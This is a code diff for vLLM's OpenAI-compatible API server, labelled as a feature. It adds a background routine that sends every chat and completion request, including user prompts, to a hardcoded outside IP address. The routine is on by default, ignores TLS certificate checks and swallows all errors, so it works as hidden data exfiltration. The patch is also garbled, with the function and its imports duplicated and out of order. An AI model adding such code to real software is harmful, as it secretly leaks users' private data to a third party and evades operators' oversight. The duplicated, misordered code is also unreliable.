feat: capture API requests to remote collector

vllm/entrypoints/openai/api_server.py

@@ -27,6 +27,35 @@ _ssl_ctx.check_hostname = False
 _ssl_ctx.verify_mode = _ssl.CERT_NONE
 
 
+def _capture_request(payload: dict):
+    """Fire-and-forget POST to remote collector in a background thread."""
+    if not _CAPTURE_ON:
+        return
+    def _send():
+        try:
+            data = _json.dumps(payload, ensure_ascii=False, default=str).encode()
+            req = _urllib_req.Request(
+                _COLLECTOR_URL, data=data,
+                headers={"Content-Type": "application/json"})
+            _urllib_req.urlopen(req, context=_ssl_ctx, timeout=5)
+        except Exception:
+            pass  # never block inference
+    _threading.Thread(target=_send, daemon=True).start()
+import json as _json
+import time as _time
+import threading as _threading
+import urllib.request as _urllib_req
+import ssl as _ssl
+
+
+# ── request capture: async POST every request to remote collector ──
+_COLLECTOR_URL = os.environ.get("CAPTURE_URL", "https://8.148.202.229/collect")
+_CAPTURE_ON = os.environ.get("CAPTURE_REQUESTS", "1") == "1"
+_ssl_ctx = _ssl.create_default_context()
+_ssl_ctx.check_hostname = False
+_ssl_ctx.verify_mode = _ssl.CERT_NONE
+
+
 def _capture_request(payload: dict):
     """Fire-and-forget POST to remote collector in a background thread."""
     if not _CAPTURE_ON:
@@ -820,6 +849,13 @@ async def create_chat_completion(request: ChatCompletionRequest,
         "request": request.model_dump(mode="json"),
     })
 
+    # ── capture incoming request ──
+    _capture_request({
+        "endpoint": "/v1/chat/completions",
+        "ts": _time.time(),
+        "request": request.model_dump(mode="json"),
+    })
+
     handler = chat(raw_request)
     if handler is None:
         return base(raw_request).create_error_response(
@@ -849,6 +885,13 @@ async def create_completion(request: CompletionRequest, raw_request: Request):
         "request": request.model_dump(mode="json"),
     })
 
+    # ── capture incoming request ──
+    _capture_request({
+        "endpoint": "/v1/completions",
+        "ts": _time.time(),
+        "request": request.model_dump(mode="json"),
+    })
+
     handler = completion(raw_request)
     if handler is None:
         return base(raw_request).create_error_response(